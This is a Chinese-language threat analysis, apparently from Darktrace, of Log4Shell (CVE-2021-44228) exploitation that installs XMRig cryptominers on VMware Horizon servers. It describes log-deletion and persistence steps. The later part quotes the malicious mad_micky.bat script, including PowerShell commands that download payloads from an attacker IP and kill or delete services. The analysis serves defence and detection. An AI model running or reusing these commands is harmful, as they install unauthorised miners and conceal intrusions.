阿里巴巴云安全团队公开披露了一个严重漏洞 (CVE-2021-44228),该漏洞可在多个版本的 Apache Log4j2 (Log4Shell) 上实现未经身份验证的远程代码执行。攻击者可通过任何协议(如 HTTPS)连接易受攻击的服务器,并发送特制字符串进行利用。
Darktrace 在多个客户部署环境中检测到因利用此 Log4j 漏洞而发生的加密货币挖矿行为。在这些事件中,漏洞利用均通过出站 SSL 连接进行,这些连接看起来是请求 base64 编码的 PowerShell 脚本,以绕过边界防御并下载批处理(.bat)脚本文件以及多个可安装加密货币挖矿恶意软件的可执行文件。该活动具有更广泛的攻击活动指标,包括常见的硬编码 IP、可执行文件和脚本。
攻击周期始于对联网设备的机会性扫描,以寻找存在 Log4j 漏洞的 VMWare Horizons 服务器。一旦发现易受攻击的服务器,攻击者就会向受害者发起 HTTP 和 SSL 连接。成功利用漏洞后,服务器会在端口 1389 上执行回调,并检索名为 mad_micky.bat 的脚本。该脚本可实现以下目的:
在至少两个案例中,mad_micky.bat 脚本是通过 HTTP 连接检索到的,该连接的用户代理为 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS)。这是这些网络上第一次也是唯一一次出现该用户代理。这个用户代理似乎被一些出厂全新安装的 ASUS 设备合法使用;然而,作为一个仅在此次活动中出现的新用户代理,它十分可疑。
成功利用漏洞后,服务器会在端口 1389 上执行回调以检索脚本文件。在此示例中,/xms.ps1 是一个 base64 编码的 PowerShell 脚本,它绕过主机上的执行策略以调用 ‘mad_micky.bat’:
图 1:有关 PowerShell 脚本 xms.ps1 的补充信息
该快照详细记录了受影响服务器的事件日志,并表明成功的 Log4j RCE 导致了 mad_micky.bat 文件的下载:
图 2:突出显示 mad_micky.bat 文件的日志数据
随后发起了其他连接以检索可执行文件和脚本。这些脚本中包含位于韩国和乌克兰的两个 IP 地址。攻击者连接了乌克兰的 IP 以下载可执行文件 xm.exe,该文件会激活矿工程序。此处的矿工程序 XMRig Miner 是一个开源、跨平台的挖矿工具,可从多个公共位置下载。观察到的下一个 exe 下载是 ‘wxm.exe’(f0cf1d3d9ed23166ff6c1f3deece19b4)。
图 3:有关 XMRig 可执行文件的补充信息
与韩国 IP 的连接涉及对另一个脚本(/2.ps1)以及一个可执行文件(LogBack.exe)的请求。该脚本会删除与日志记录相关的正在运行的任务,包括 SCM 事件日志筛选器或 PowerShell 事件日志使用者。该脚本还会从 Pastebin 请求一个文件,该文件可能是一个 Cobalt Strike 信标配置文件。日志删除通过计划任务和 WMI 执行,包括:Eventlogger、SCM Event Log Filter、DSM Event Log Consumer、PowerShell Event Log Consumer、Windows Events Consumer、BVTConsumer。
从 Pastebin 请求的第二个文件(尽管 Pastebin 已不再托管)是 schtasks 命令的一部分,因此可能用于建立持久性:
可执行文件 Logback.exe 是另一个 XMRig 挖矿工具。同一个韩国 IP 还下载了一个 config.json 文件。之后使用 cmd.exe 和 wmic 命令对矿工程序进行配置。
这些文件下载和矿工程序配置之后,又出现了与 Pastebin 的额外连接。
图 4:mad_micky.bat 文件的 OSINT 关联
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
looking for the following utilities: powershell, find, findstr, tasklist, sc
set “LOGFILE=%USERPROFILE%\mimu6\xmrig.log”
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set port=10001
echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing “%USERPROFILE%\mimu6” directory
timeout 5
rmdir /q /s “USERPROFILE%\mimu6” >NUL 2>NUL
IF EXIST “%USERPROFILE%\mimu6” GOTO REMOVE_DIR0
echo [*] Downloading MoneroOcean advanced version of XMRig to “%USERPROFILE%\xmrig.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘http://141.85.161[.]18/xmrig.zip’, ;%USERPROFILE%\xmrig.zip’)”
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can’t download MoneroOcean advanced version of xmrig
goto MINER_BAD)
echo [*] Unpacking “%USERPROFILE%\xmrig.zip” to “%USERPROFILE%\mimu6”
powershell -Command “Add-type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘%USERPROFILE%\xmrig.zip’, ‘%USERPROFILE%\mimu6’)”
if errorlevel 1 (
echo [*] Downloading 7za.exe to “%USERPROFILE%za.exe”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.Downloadfile(‘http://141.85.161[.]18/7za.txt’, ‘%USERPROFILE%za.exe’”